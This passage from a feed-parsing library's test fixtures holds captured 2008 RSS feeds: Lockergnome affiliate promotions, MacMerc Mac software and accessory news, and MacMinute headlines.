mobile devices lying around in drawers, taking up space? Trade them in for cold hard cash! Chris has done it so many times that <a href="http://www.cellforcash.com/chris-pirillo/">Cell for Cash</a> made him a partner. If you're not using that hardware anymore, you may as well liquidate it with ease - at no cost to you. What are you waiting for? You can go through our link, or visit the site and tell them that Chris sent you. It's real, and it's certainly real money. <a href=http://www.cellforcash.com/chris-pirillo/">Sell back your cell phones</a>! chris@lockergnome.com (Chris Pirillo) Partner Mon, 25 Feb 2008 06:30:00 GMT http://www.cellforcash.com/chris-pirillo/ http://www.cellforcash.com/chris-pirillo/ Get Your Own Web Site Starting at just $3.99/month, web hosting from <a href="http://www.godaddy.com/gdshop/default.asp?isc=cp2">GoDaddy</a> includes 99.9% uptime, 24/7 support and free access to GoDaddy Hosting Connection, THE place to install over 30 FREE applications sure to help you get the most from your hosting plan and Web site. Enter <a href="http://www.godaddy.com/gdshop/default.asp?isc=cp2">code CP2</a> at checkout, and save an additional 10% on any order. <p>Plus, as a friend of Chris Pirillo, enter code <a href="http://www.godaddy.com/gdshop/default.asp?isc=chris7">CHRIS7</a>, that's C-H-R-I-S and the number 7, when you check out, and save an additional 10% on any order. Get your piece of the internet at <a href="http://www.godaddy.com/gdshop/default.asp?isc=chris7">GoDaddy.com</a>.</p> chris@lockergnome.com (Chris Pirillo) Partner Mon, 25 Feb 2008 06:30:00 GMT http://www.godaddy.com/gdshop/default.asp?isc=cp1 http://www.godaddy.com/gdshop/default.asp?isc=cp1 Get a Free Audio Book Are you tired of reading books? Me too. Over the years, I developed pulpuslaceratapohobia - and the only known cure for that is <a href="http://audiblepodcast.com/chris">Audible</a>. Finally, a way to digest words without actually having to read them. Professional voices are wonderful choices if you love literary works in audio format. Are you ready to read some <a href="http://audiblepodcast.com/chris">audio books</a>? Maybe you should just listen to them instead. chris@lockergnome.com (Chris Pirillo) Partner Mon, 25 Feb 2008 06:30:00 GMT http://audiblepodcast.com/chris http://audiblepodcast.com/chris VMware and Parallels for Virtual Machines It doesn't matter if you're running on Windows or Mac OS X - every power user needs either <a href="http://send.onenetworkdirect.net/z/13766/rn_a32755/">Parallels</a> or <a href="http://send.onenetworkdirect.net/z/17081/rn_a32755/">VMware</a> (or both). There's never been an easier way to test software without destroying your primary operating system's stability. Think of how many times you wish you could press a 'reverse' button on your computer. Plus, there's no easier way to try new Linux distributions - see what all the fuss is about. Run Windows in OS X, run Linux in Windows, but the best way to do either is with <a href="http://send.onenetworkdirect.net/z/17081/rn_a32755/">VMware</a> and/or <a href="http://send.onenetworkdirect.net/z/13766/rn_a32755/">Parallels</a>. chris@lockergnome.com (Chris Pirillo) Partner Mon, 25 Feb 2008 06:30:00 GMT http://chris.pirillo.com/2008/02/19/parallels-or-vmware/ http://chris.pirillo.com/2008/02/19/parallels-or-vmware/ Screen Capture for Multi-taskers <a href="http://www.techsmith.com/featured/2008/snagit/v9launch/?cmp=LockS01">SnagIt</a> 9 works like you work! Capture, edit and share images from your PC screen without breaking stride: stores captures automatically whether you saved them or not; new visual search panel lets you find captures easily whenever you need them. chris@lockergnome.com (Chris Pirillo) Partner Tue, 10 Jun 2008 06:30:00 GMT http://www.techsmith.com/featured/2008/snagit/v9launch/?cmp=LockS01 http://www.techsmith.com/featured/2008/snagit/v9launch/?cmp=LockS01 Screencast Software <a href="http://www.techsmith.com/camtasia.asp?cmp=LkrgCS1">Camtasia Studio</a> is the smart, friendly screen recorder (and more). With it, you can create stunning videos with a great degree of ease. Download the <a href="http://www.techsmith.com/camtasia.asp?cmp=LkrgCS1">free trial</a> now and in no time you'll be sharing buzz-worthy screencasts, persuasive presentations, training that ROCKS, and demos that sell. Show exactly what's on your screen to anyone, anywhere. Record your screen, audio, and/or webcam! Make them wonder how you did it. chris@lockergnome.com (Chris Pirillo) Partner Sat, 12 Jul 2008 06:30:00 GMT http://www.techsmith.com/camtasia.asp?cmp=LkrgCS1 http://www.techsmith.com/camtasia.asp?cmp=LkrgCS1 Coupons for Online Shopping <p style="color: red">This feed is fueled by Lockergnome <a href="http://www.lockergnome.com/buy/">Online Shopping and Coupon Codes</a></p> <p> Before you shop next time, see if we have <a href="http://coupons.lockergnome.com/">a coupon</a> first. </p> chris@lockergnome.com (Chris Pirillo) Partner Sat, 12 Jul 2008 07:56:13 GMT http://coupons.lockergnome.com/ http://coupons.lockergnome.com/       Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.macmerc.com-index.rss0000664000175000017500000007610612653701626025646 0ustar janjan MacMerc.com http://www.macmerc.com Copyright 1999-2008 MacMerc.com PHP Nuke 5.2 Customized news@macmerc.com (Rick Yaeger) webmaster@macmerc.com (Rick Yaeger) en-us App Store Week 1 Freeware Picks http://www.macmerc.com/news/archives/4558 <div class="right"><img src="http://www.macmerc.com/images/news/freeloader-20070913-212511.png" /></div>The consensus seems to be that the 3G is okay, MobileMe is still undergoing growing pains but the real winner from last week is the App Store. <p> With new items showing up daily, reasons to live your Windows Mobile smartphone are dropping like flies. So, lets <a href="http://www.macmerc.com/articles/Freeloader_Friday_Download_of_the_Week/453">take a look at</a> some of the awesome freebies that have hit the store this week. Fri, 18 Jul 2008 08:01:11 EDT http://www.macmerc.com/news/archives/4558 Portrait Professional 8 makes you look like a cover model http://www.macmerc.com/news/archives/4557 <div class="right"><img src="http://www.macmerc.com/images/news/PortraitProfessional-20080717-194428.png" /></div><p>Today Anthropics Technology released <a href="http://www.portraitprofessional.com/">Portrait Professional 8</a>, their intelligent portrait airbrushing software that has been 'trained' in human beauty. I've been playing with Portrait Professional for a few days now, and I have to say, it is amazing. It lets you improve your photos by first telling the software where a few key facial features are located and then it's just a matter of moving a few sliders. </p> <p>Portrait Professional requires practically now artistic ability to use nor does it require Photoshop skills. All you have to do is choose how much to enhance the lighting, the skin texture and even how many wrinkles to remove. </p> <p><a href="http://www.macmerc.com/article.php?sid=4557"><b>I pointed Portrait Professional at a few of the online elite and the results are shown after the "read more."</b></a> The examples shown have been "extremely altered" to show the big adjustments that can be made quickly and easily with the application. Normally, I wouldn't have altered any of these images as much as I have?if at all. To see some subtle and believable ways the software can be used, check out the developer's website or download the demo and try it for yourself.</p> <p>Portrait Professional is currently selling at half price--Just USD$79.95</p> Thu, 17 Jul 2008 22:45:36 EDT http://www.macmerc.com/news/archives/4557 DLO VentMount for iPod touch (or iPhone) http://www.macmerc.com/news/archives/4556 <div class="right"><img src="http://www.macmerc.com/images/reviews/vent_mount3.jpg"></div>The iPod has made itself at home in your car, though that home may not be a comfortable one. I shudder to think of the iPods and iPhones tossed daily onto seats, cup holders and whatever you call that space under the emergency brake handle. <p> Treat your iPod to a position of honor in your car and keep your eyes and music off the floorboard with DLO's VentMount. Is this the carseat for your iPhone or iPod touch? Find out in <a href="http://www.macmerc.com/reviews.php?op=showcontent&id=173">our review</a>. Tue, 15 Jul 2008 22:37:18 EDT http://www.macmerc.com/news/archives/4556 Free iPhone ringtone from Geoff ''I'm a TWiT'' Smith http://www.macmerc.com/news/archives/4555 <div class="right"><object width="350" height="283"><param name="movie" value="http://www.youtube.com/v/3biEam1_GgY&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/3biEam1_GgY&hl=en&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="350" height="283"></embed></object></div><p><a href="http://www.ringtonefeeder.com/">RingtoneFeeder</a> has announced a free tribute ringtone named "<a href="http://blog.ringtonefeeder.com/2008/07/11/67/">Worldwide hello</a>" to mark the release of the new iPhone 3G and taking the opportunity to send a friendly native "hello" from RingtoneFeeder to the many new countries finally getting the iPhone. There is also a free demo feed available so the service can be tried out with no obligation. The free feed contains a few sample ringtones as well as an introduction video and a PDF guide to managing ringtones via iTunes.</p> <blockquote><i>"The release of the new iPhone 3G is an important event for us and we would like to welcome the many new iPhone uses around the world by giving them a dedicated ringtone and saying 'hello' in their native language. We are matching the languanges of the first batch of countries where the iPhone 3G is released." </i>said <a href="http://thegeoffsmith.com">Geoff Smith</a>, Partner and Producer at RingtoneFeeder.</blockquote> <p>RingtoneFeeder is a new and innovative approach to <a href="http://www.ringtonefeeder.com/iphoneringtones.html">ringtones</a> offering a subscription model which automatically installs two new original ringtones on the iPhone via iTunes every week. The earlier a subscription to the service is made the bigger collection the subscriber will have. When a ringtone has been released it will not appear in the weekly updates ever again. The 10 latest ringtones are delivered when subscribing and then an additional two new ringtones every week.</p> <p>There is also a free demo feed available so the service can be tried out with no obligations. The free feed contains a few sample ringtones as well as an introduction video and a PDF guide to managing ringtones via iTunes.</p> <p><a href="http://thegeoffsmith.com">Geoff Smith</a> has been producing and playing music most of his life and is mostly known online from his jingles heard on Adam Curry's <a href="http://www.dailysourcecode.com/">Daily Source Code</a> Podcast, <a href="http://geekbrief.tv/">GeekBrief</a>, <a href="http://www.tipsfromthetopfloor.com/">Tips from The Top Floor</a>, <a href="http://www.screencastsonline.com/">ScreenCasts Online</a>, the successful <a href="http://iyule.tv/">iYule</a> project and recently the theme song for TWiT Live (pictured here). Geoff began composing jingles and theme songs for podcasters back in 2005 and has literally written hundreds.</p> Mon, 14 Jul 2008 22:34:30 EDT http://www.macmerc.com/news/archives/4555 Headline 1.0 a delicious new news reader for Mac OS X Leopard http://www.macmerc.com/news/archives/4554 <div class="right"><img src="http://www.macmerc.com/images/news/headline-20080714-191713.png" /></div><p>Doseido Software just released the 1.0 version of <a href="http://www.doseido.com/headline/">Headline</a>, their shiny new news reader for Mac OS X Leopard. Clean interface is designed to make catching up with the latest blog posts, articles and news feeds quick and more enjoyable. View articles in Headline directly or via Safari as well as play podcasts and videocasts on the fly.</p> <p>Headline can easily share articles over iChat and Mail, with no need to manually send article links to friends.</p> <p>A Single User license for Headline 1.0 is priced at only USD$19.95. A full-featured demo is also available.</p> Mon, 14 Jul 2008 22:22:43 EDT http://www.macmerc.com/news/archives/4554 Typinator 3.1 now with built-in HTML snippets http://www.macmerc.com/news/archives/4553 <div class="right"><img src="http://www.macmerc.com/images/news/typinator-screen-20080714-082214.jpg" /></div>Ergonis Software has announced the release of <a href="http://www.ergonis.com/products/typinator/">Typinator 3.1</a>, the latest version of its auto-typing text application. Typinator detects specific sequences of typed characters and automatically replaces them with text snippets, graphics, URLs, dates and special characters saving you a lot of time, not only typing, but looking up information. <br><br> The new version brings along a set of HTML snippets that includes over 100 abbreviations for elements of the HTML 4.01 standard. Typinator 3.1 also improves compatibility with applications such as Coda, VMWare Fusion, Butler, and Zend Studio. 3.1 also has a redesigned (and optional) menu bar icon to better match the style of Apple's menu extras. <br><br> The upgrade to Typinator 3.1 is free for anyone who purchased Typinator in the last 2 years. Typinator sells for EUR 19.99 and is also available in family packs. Mon, 14 Jul 2008 11:22:31 EDT http://www.macmerc.com/news/archives/4553 Are you sick of iPhone 3G news? This story might make you feel better. http://www.macmerc.com/news/archives/4552 <div class="right"><object width="350" height="283"><param name="movie" value="http://www.youtube.com/v/DLxq90xmYUs&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/DLxq90xmYUs&hl=en&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="350" height="283"></embed></object></div>Tom Dickson from <a href="http://www.blendtec.com/">Blendtec</a> is at it again. This time he's fresh from the line at his local AT&T outlet and is ready to dispose of his old iPhone, only things don't go exactly as planned...and if you believe that, I have <a href="http://gizmodo.com/5023314/rogers-caves-offers-6gb-iphone-monthly-data-plan-for-30">a 6GB data plan</a> to sell you. Sat, 12 Jul 2008 20:25:23 EDT http://www.macmerc.com/news/archives/4552 Save Gas and Work from Home, Part 1 http://www.macmerc.com/news/archives/4551 <div class="right"><img src="http://www.macmerc.com/images/news/freeloader-20070913-212511.png" /></div>Among all the methods out there to save gas, one is sure to actually help - staying home. You'd think with the tremendous technology and networks we have that location shouldn't mean much, right? <p> I agree, and in <a href="http://www.macmerc.com/articles/Freeloader_Friday_Download_of_the_Week/452">this Freeloader episode</a> we'll look at a handful of free applications that will help you justify your work-at-home strategy. In Part 1 we'll cover the poor corporate saps that work on or with Windows machines. <p> If that's not you, be grateful and hang in there for Part 2 that will address Mac-only workplaces. If it is you, then <a href="http://www.macmerc.com/articles/Freeloader_Friday_Download_of_the_Week/452">pull up a chair</a>. You may be surprised by what you can do from home on a Mac in the world of Windows. Fri, 11 Jul 2008 08:02:23 EDT http://www.macmerc.com/news/archives/4551 1Password intros instant logins from in-browser bookmark window http://www.macmerc.com/news/archives/4550 <div class="right"><img src="http://www.macmerc.com/images/news/1pass-20080708-194902.png" /></div><p>Okay, I've asked this before, but it's important enough to ask again: are you still using a few easy-to-remember words and numbers as your personal cache of internet passwords? If this is the case, please consider spending USD$34.95 and getting a copy of <a href="http://1password.com/">1Password</a>. It's exactly what you need: it allows you to have strong passwords for all your online accounts while requiring you to only remember a simple password (your "1 Password") to get at them. And this works with most popular web browsers.</p> <p>Agile Web Solutions, the makers of 1Password, today announced the release of version 2.7, which introduces a new feature that allows you to instantly log in to your accounts on your favorite web sites. With one key combination or mouse click you can navigate to a web site, fill in the login details, and submit the form. This is accomplished using a new Bookmarks window that 1Password adds to the web browser, providing easy access to all your passwords. This update is free to all paid 1Password customers.</p> Tue, 8 Jul 2008 23:17:09 EDT http://www.macmerc.com/news/archives/4550 Second generation Drobo adds support for Firewire and improves USB 2.0 http://www.macmerc.com/news/archives/4549 <div class="right"><img src="http://www.macmerc.com/images/news/Drobo_Front_Med-20080708-192726.png" /></div><p>Today Data Robotics launched <a href="http://www.drobo.com/Products/Drobo.html">the second generation of its Drobo "storage robot"</a>. Drobo is a drive system that offers redundant data protection, and instant expandability allowing storage capacity to grow over time as need be. New enhancements in the second generation Drobo include an upgraded core processor, two FireWire 800 ports, dramatically increased USB 2.0 performance, and newly optimized firmware. If you held off on buying the first generation Drobo because it was USB only, this new one is for you.</p> <p>Features include:</p> <ul> <li>Best in class performance</li> <li>Redundant data protection</li> <li>Hot expansion up to 16TB</li> <li>Ability to take advantage of mix and match drive capacities</li> <li>Two FireWire 800 ports (FireWire 400 compatible)</li> <li>One USB 2.0 port</li> </ul> <p>The second generation Drobo is priced at USD$499 and also comes in a 2TB version for USD$899, and a 4TB version for USD$1,299. Discount codes are also available if you know <a href="http://geekbrief.tv/gbtv-389-geekbrieftv">where to look</a>.</p> <p>If you're unfamiliar with the Drobo, <a href="http://www.drobo.com/Products/DroboDemo.html">take a video tour with Cali Lewis</a>.</p> Tue, 8 Jul 2008 22:29:57 EDT http://www.macmerc.com/news/archives/4549 Hazel's filesystem housecleaning abilities just got even more powerful http://www.macmerc.com/news/archives/4548 <div class="right"><img src="http://www.macmerc.com/images/news/Hazel-20080707-214009.png" /></div>Are you a slob? Do you need someone to follow you around with a garbage bag and a hamper to pick up after you? Does this slovenliness extend to your Mac? If so, you need <a href="http://www.noodlesoft.com/hazel.php">Hazel</a>. <br><br> Hazel is a housekeeper for your folders and files. Using Hazel's powerful rule engine, you can easily create workflows that keep your files organized automatically. Hazel also features options for managing your Trash and includes an intuitive application uninstaller. <br><br> Hazel 2.2 was released today and focuses on power users, providing many features for advanced workflows. The new version introduces powerful pattern matching features as well as the ability to define custom tokens. Hazel also expands its support for AppleScript, including the ability to edit scripts directly within your rules. Hazel also provides GTD-like date filtering. <br><br> Hazel 2.2 is sold for USD$21.95. Tue, 8 Jul 2008 00:46:28 EDT http://www.macmerc.com/news/archives/4548 Chris Alvanas shows how to retouch eyes in Photoshop http://www.macmerc.com/news/archives/4547 <div class="right"><img src="http://www.macmerc.com/images/news/Adobe_Photoshop_Tutorial_%7C_Digital_Photo_Retouching_%7C_How_to_Brighten_Eyes_in_a_Portrait_%7C_Layers_Magazine-20080706-100541.png" /></div>Layers Magazine's Chris Alvanas has posted a new tutorial on the site entitled <a href="http://www.layersmagazine.com/retouching-eyes-in-photoshop.html">Retouching Eyes in Photoshop</a>. Because well-done photo retouching is imperceptible, you may not realize all the work that can go into tweaking and perfecting the details of an image. If the eyes are the window to the soul, it would behoove us to properly clean and dress those windows if our images are going to convey the soul we desire. <br><br> <a href="http://www.layersmagazine.com/retouching-eyes-in-photoshop.html">Check it out!</a> Sun, 6 Jul 2008 13:09:05 EDT http://www.macmerc.com/news/archives/4547 The Apple Design Award winners at Iconfactory show you how to make your own http://www.macmerc.com/news/archives/4546 <div class="right"><img src="http://www.macmerc.com/images/news/DIYADA-20080701-222022.png" /></div>Have you always wanted to win an Apple Design Award? The cool little illuminated cube is something I've coveted for a while now, but since I don't actually produce any hardware or software for any Apple products, I think my chances of winning one are pretty lousy. <br><br> <a href="http://iconfactory.com">The Iconfactory's</a> Craig Hockenberry was <a href="http://iconfactory.com/home/permalink/2006">awarded an Apple Design Award at WWDC 2008 for Twitterrific for the iPhone</a>. The award has travelled to North Carolina where the rest of the Iconfactory gang could enjoy it before it went back to Craig's house in Laguna Beach. <br><br> The factory workers in NC grew so attached to the award that they decided to create a doppleganger out of a square glass, some clay, some touch lights and, the handyman's secret weapon...duct tape. Throw in some spray paint and some nice penmanship and you have a do-it-yourself Apple Design Award that probably fooled Craig for 10 seconds <a href="http://twitter.com/chockenberry/statuses/847757100">but put a smile on his face.</a> <br><br> The building process has been documented on <a href="http://www.flickr.com/photos/iconfactory/sets/72157605928621268/">an Iconfactory Flickr set</a> so that maybe you can pretend to be a ADA winner. Wed, 2 Jul 2008 01:31:01 EDT http://www.macmerc.com/news/archives/4546 Blambots FREE font for July goes crazy with the autoligatures http://www.macmerc.com/news/archives/4545 <div class="right"><img src="http://www.macmerc.com/images/news/blambot-20080701-141934.png" /></div><a href="http://www.blambot.com/fonts.shtml">Blambot's FREE font for July 2008</a> is called Sanitarium. It's got sharp, irregular serifs and varied letter heights to give it a manic, unstable look. Designed as a perfect logo and title font, the OpenType version is equipped with autoligatures to give your type a random element and so that no two consecutive letters look the same. Tue, 1 Jul 2008 17:27:18 EDT http://www.macmerc.com/news/archives/4545 ...and yet one more update from Apple. Time Capsule and AirPort Base Station (802.11n) Firmware 7.3.2 http://www.macmerc.com/news/archives/4544 <div class="right"><img src="http://www.macmerc.com/images/news/timecapsule-20080630-213551.png" /></div>I must admit, I have an irrational fear of firmware updates. <br><br> The <a href="http://www.apple.com/support/downloads/timecapsuleandairportbasestation80211nfirmware732.html">Time Capsule and AirPort Base Station (802.11n) Firmware 7.3.2</a> update requires that you already have AirPort Utility 5.3.2 installed (versions for <a href="http://www.apple.com/support/downloads/airportutility532forleopard.html">Leopard</a>, <a href="http://www.apple.com/support/downloads/airportutility532tiger.html">Tiger</a> and <a href="http://www.apple.com/support/downloads/airportutilitysetup532forwindows.html">Windows</a> are available). <br><br> What does it do? Well, let's see what Apple has to say... <blockquote><i>The Time Capsule, AirPort Extreme and AirPort Express Base Station with 802.11n* Firmware 7.3.2 updates include bug fixes.</i></blockquote> Hmm...bug fixes. That should take care of anyone who found <a href="http://www.macmerc.com/news/apple/4542">the write ups on the other updates too exhaustive</a> but it doesn't ease my fears. Tue, 1 Jul 2008 00:33:28 EDT http://www.macmerc.com/news/archives/4544 Apple has updates for Tiger users too. Safari 3.1.2 http://www.macmerc.com/news/archives/4543 <div class="right"><img src="http://www.macmerc.com/images/news/safari-20080318-200824.png" /></div>Apple doesn't want Tiger users to feel left out of the day's updating fun. They've released a special <a href="http://www.apple.com/support/downloads/safari312fortiger.html">Safari 3.1.2 for Tiger</a> update. <br><br> It's sole <a href="http://support.apple.com/kb/HT2165">purpose</a> appears to be a WebKit update that prevents an unexpected application termination or arbitrary code execution while visiting a maliciously crafted website. <br><br> Whew! That's a relief! <br><br> Now Mac OS X 10.4.11 users can visit all their favorite maliciously crafted websites again! Mon, 30 Jun 2008 19:55:33 EDT http://www.macmerc.com/news/archives/4543 Apple lays the 10.5.4 update on us and Security Update 2008-004 http://www.macmerc.com/news/archives/4542 <div class="right"><img src="http://www.macmerc.com/images/news/SoftwareUpdate-20080630-161001.png" /></div>Apple released a Mac OS X update today, bring us up to 10.5.4. This update is available in Update and Combo Update flavors for Mac OS X 10.5 and Mac OS X 10.5 Server (gory details after the "read more"): <ul> <li><a href="http://www.apple.com/support/downloads/macosx1054comboupdate.html">Mac OS X 10.5.4 Combo Update</a></li> <li><a href="http://www.apple.com/support/downloads/macosx1054update.html">Mac OS X 10.5.4 Update</a></li> <li><a href="http://www.apple.com/support/downloads/macosxserver1054.html">Mac OS X Server 10.5.4</a></li> <li><a href="http://www.apple.com/support/downloads/macosxservercombo1054.html">Mac OS X Server Combo 10.5.4</a></li> </ul> Publishing pros will be happy to know that the 10.5.4 update includes fixes that help it play nicely with Adobe Creative Suite apps like InDesign and Photoshop. As noted by <a href="http://blogs.adobe.com/indesignchannel/2008/06/indesign_leopard_1054_nav_serv.html">Adobe's Tim Cole</a> on his blog: <blockquote><i>Apple's 10.5.4 update contains more fixes for the Nav Services crash problem that manifests itself most frequently in InDesign. It also contains a fix for the file corruption problem that occurs when saving files to a remote server.</i></blockquote> <br><br> In addition, Apple also issued Security Update 2008-004 and Security Update 2008-004 Server in Intel and PPC varieties (gory details for this also after the "read more") <ul> <li><a href="http://www.apple.com/support/downloads/securityupdate2008004ppc.html">Security Update 2008-004 (PPC)</a></li> <li><a href="http://www.apple.com/support/downloads/securityupdate2008004intel.html">Security Update 2008-004 (Intel)</a></li> <li><a href="http://www.apple.com/support/downloads/securityupdate2008004serverppc.html">Security Update 2008-004 Server (PPC)</a></li> <li><a href="http://www.apple.com/support/downloads/securityupdate2008004serverintel.html">Security Update 2008-004 Server (Intel)</a></li> </ul> Mon, 30 Jun 2008 19:11:27 EDT http://www.macmerc.com/news/archives/4542 In honor of today's Twitter outage we are proud to announce the Fail Whale T-shirt http://www.macmerc.com/news/archives/4541 <div class="right"><s><img src="http://www.macmerc.com/images/news/image.php-20080627-095000.jpg" /></s></div> <s>Feeling overloaded? Need a lift? Twitter certainly does... <br> <br> ...and now you can sport that same overloaded look with our new Fail Whale T-Shirt. This men's soft cotton jersey tee (by American Apparel) comes is traditional Twitter turquoise and displays an interpretation of Yiying Lu's wonderful illustration that has been made infamous on one of Twitter's error pages. </s> <div class="center"><s><img src="http://farm3.static.flickr.com/2173/2540050488_e8792bec32.jpg" /></s></div> <p><s><br> <br> The shirt comes in sizes ranging from Small to XX-Large and sells for USD$25.40 <br> <br> Be sure to check out this and all our other shirts in The MacMerc Store. <br> <br> <b>UPDATE</b> (06/27/08 - 12:31 PT): It has been brought to my attention that I neglected to make the Fail Whale shirt available in a women's cut. This has been remedied, but unfortunately not in teal. If you would like to construct your own Fail Whale apparel, you may do so here.</s></p> <p><b>UPDATE</b> (06/27/08 - 18:52 PT): I have taken down our Fail Whale t-shirts in favor of <a href="http://www.zazzle.com/failwhale">a link to shirts offered by the Fail Whale illustrator, Yiying Lu</a>. I haven't found that Zazzle shirts are of as high a quality as Spreadshirt (<a href="http://www.macmerc.com/articles/The_Lab_with_Leo_Laporte_Segments/435">see here</a>), but I would rather an artist profit for his work rather that some smart alec like me. Cheers.</p> Fri, 27 Jun 2008 13:03:44 EDT http://www.macmerc.com/news/archives/4541 Mad man, Deke McClelland, drops 101 Photoshop Tips in Five Minutes http://www.macmerc.com/news/archives/4540 <div class="right"><img src="http://www.macmerc.com/images/news/dekepod300x300-20080624-202651.png" /></div>If you can keep up with the frenetic pace, Deke McClelland will teach you over <a href="http://digitalmedia.oreilly.com/2008/06/24/dekepod-101-photoshop-tips.html">101 Photoshop Tips in Five Minutes</a>... seriously. Most of the tips are key-command explanations but there are indeed a few gems hidden in amongst the rest. Tue, 24 Jun 2008 23:32:00 EDT http://www.macmerc.com/news/archives/4540 Run Spore Creature Creator Demo on Mac OS X 10.4.11 Tiger http://www.macmerc.com/news/archives/4539 <div class="right"><img src="http://www.macmerc.com/images/news/spore-20080623-210730.png" /></div>Evidently, the only thing keeping some users of Mac OS X 10.4.11 Tiger from using the <a href="http://www.spore.com/trial?sourceid=eaom35">Spore Creature Creator Demo</a> is that the application is coded to look for and only accept Mac OS X 10.5.3. <br><br> An anonymous user over at <a href="http://www.macosxhints.com/article.php?story=20080622112907382">Mac OS X Hints</a> has posted instructions on how to easily alter a plist in the game's package contents to have it check for a slightly older operating system. Voila! Now, as the editor at Mac OS X Hints notes: <blockquote><i>System requirements are typically based on features in a given level of the OS, so there may be unknown issues if you use this hint to run the demo on an earlier version of the OS. Maybe this will work for the full version too...</i></blockquote> <br><br> [ Via <a href="http://www.macosxhints.com/article.php?story=20080622112907382">Mac OS X Hints</a> ] Tue, 24 Jun 2008 00:06:51 EDT http://www.macmerc.com/news/archives/4539 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.macminute.com-headlines.xml0000664000175000017500000002530012653701626027025 0ustar janjan MacMinute http://www.macminute.com/ Mac news first. en-us email@macminute.com Fri, 23 May 2008 13:37:05 -0400 Fri, 23 May 2008 13:37:05 -0400 MacMinute update As we posted earlier, MacMinute cannot continue. That said, we've got a couple of paths that we're finalizing how your up to the minute news needs can be served, as well as what will happen to the forums... http://www.macminute.com/2008/05/23/Update/ 2008-05-23T13:37:05-04:00 Clarification from Julie I would like to make a clarification as, evidently, I was not crystal clear with my previous post... http://www.macminute.com/2008/05/23/Clarification/ 2008-05-23T11:25:37-04:00 Upcoming Changes For MacMinute Upon careful consideration and with deep sadness, I regret to inform Stan’s MacMinute readers that we are unable to continue operating the MacMinute website at this time... http://www.macminute.com/2008/05/22/Redirection/ 2008-05-22T09:07:16-04:00 MacMinute update from the Flack family On behalf of the Flack family, I would like to express our sincere appreciation for all the kind words of sympathy extended to our family, as we mourn the loss of our beloved Stan... http://www.macminute.com/2008/04/24/Stan/ 2008-04-24T12:20:15-04:00 Pro Applications Update 2008-01 Apple has rereleased Pro Applications Update 2008-01 via its Software Update application or on the Web... http://www.macminute.com/2008/04/11/pro-apu-update/ 2008-04-11T18:19:17-04:00 Burger Shop now available Burger Shop now available Macgamestore has published Burger Shop... http://www.macminute.com/2008/04/11/burger-shop/ 2008-04-11T18:01:45-04:00 Adobe Photoshop Lightroom 1.4.1 update posted Adobe has posted he Adobe Photoshop Lightroom 1.4.1 update, which includes these enhancements: additional camera support for the Canon EOS 450D (Digital Rebel XSi/EOS Kiss X2), Nikon D60, Sony A350 and more, updated printer driver compatibility for Mac OS X 10.5 (Leopard), and several corrections for issues introduced by the Lightroom 1.4 release... http://www.macminute.com/2008/04/11/lightoom/ 2008-04-11T13:33:00-04:00 MacBook Air Bluetooth Firmware Update 1.0 posted Apple as released MacBook Air Bluetooth Firmware Update 1.0 via its Software Update application or on the Web... http://www.macminute.com/2008/04/11/macbook-air-firmware-updatee/ 2008-04-11T13:08:54-04:00 Deals: Toon Boom Storyboard' 32% off today only Today's featured promo on MacUpdate offers Toon Boom Storyboard for US$169 (32% off, retail $249.99)... http://www.macminute.com/2008/04/11/macupdate-promo/ 2008-04-11T08:04:03-04:00 Equinux enhances The Tube 2.6 with new EPG engine Equinux today released The Tube 2.6 with a completely reengineered EPG engine... http://www.macminute.com/2008/04/10/the-tube/ 2008-04-10T16:05:48-04:00 iPresentee releases new add-ons for Keynote iPresentee has releaesd Keynote Motion Themes to be used with Apple’s Keynote presentation software. iPresentee offers five new Keynote themes: Orbit, Gear, Balloons, Light and Time... http://www.macminute.com/2008/04/10/ipresentee/ 2008-04-10T09:47:18-04:00 Deals: Cheetah3D 47% off today only Today's featured promo on MacUpdate offers Cheetah3D for US$79 (47% off, retail $149)... http://www.macminute.com/2008/04/10/macupdate-promo/ 2008-04-10T08:03:20-04:00 Creaceed ships Morph Age Regular/Pro 4.0 Creaceed today is shipping final versions of Morph Age 4.0 and Morph Age Pro 4.0 for morphing/warping images and movies on Mac OS X Leopard... http://www.macminute.com/2008/04/09/morth-age-4/ 2008-04-09T18:28:14-04:00 New iPhone cases now available from DLO Digital Lifestyle Outfitters (DLO) today announced the availability of two new cases in its extensive line of iPhone accessories... http://www.macminute.com/2008/04/09/dlo-iphone-cases/ 2008-04-09T15:49:21-04:00 Stairways Software releases Keyboard Maestro 3.0 Stairways Software has announced Keyboard Maestro 3.0, the new version of its powerful productivity enhancer for Mac OS X... http://www.macminute.com/2008/04/09/keyboard-maestro-3/ 2008-04-09T13:02:54-04:00 Deals: Sandvox 39% off today only Today's featured promo on MacUpdate offers Sandvox for US$29.99 (39% off, retail $49)... http://www.macminute.com/2008/04/09/macupdate-promo/ 2008-04-09T11:39:27-04:00 New Adobe TV Programming comes online Adobe Systems today announced Adobe TV, a free online video resource for expert instruction and inspiration about Adobe products, including the company’s Creative Suite 3 family of world-class creative tools... http://www.macminute.com/2008/04/09/adobetv/ 2008-04-09T10:56:18-04:00 Apple releases numerous updates Apple today posted several up , including: Mac Book Air EFI Firmware Update 1.0 (fixes several issues to improve the stability of MacBook Air computers); Firmware Restoration CD 1.6 (used to restore the firmware of Intel-based Macs); MacBook EFI Firmware Update 1.2 (fixes several issues to improve the stability of MacBook computers); Mac Book Pro EFI Firmware Update 1.5 (fixes several issues to improve the stability of MacBook Pro computers); iMac EFI Firmware Update 1.3 (fixes several issues to improve the stability of iMac computers); and Aluminum Keyboard Update (addresses an issue with the aluminum Apple Keyboard and the aluminum Apple Wireless Keyboard where a key may repeat unexpectedly while typing... http://www.macminute.com/2008/04/08/apple-updates/ 2008-04-08T17:01:06-04:00 Deals: NetShade 48% off today only Today's featured promo on MacUpdate offers NetShade for US$14.99 (48% off, retail $29)... http://www.macminute.com/2008/04/08/macupdate-promo/ 2008-04-08T11:13:40-04:00 Apple ships Final Cut Server Apple today announced that Final Cu Server, a powerful software solution for media asset management and workflow automation, is now shipping... http://www.macminute.com/2008/04/08/final-cut server/ 2008-04-08T09:42:09-04:00 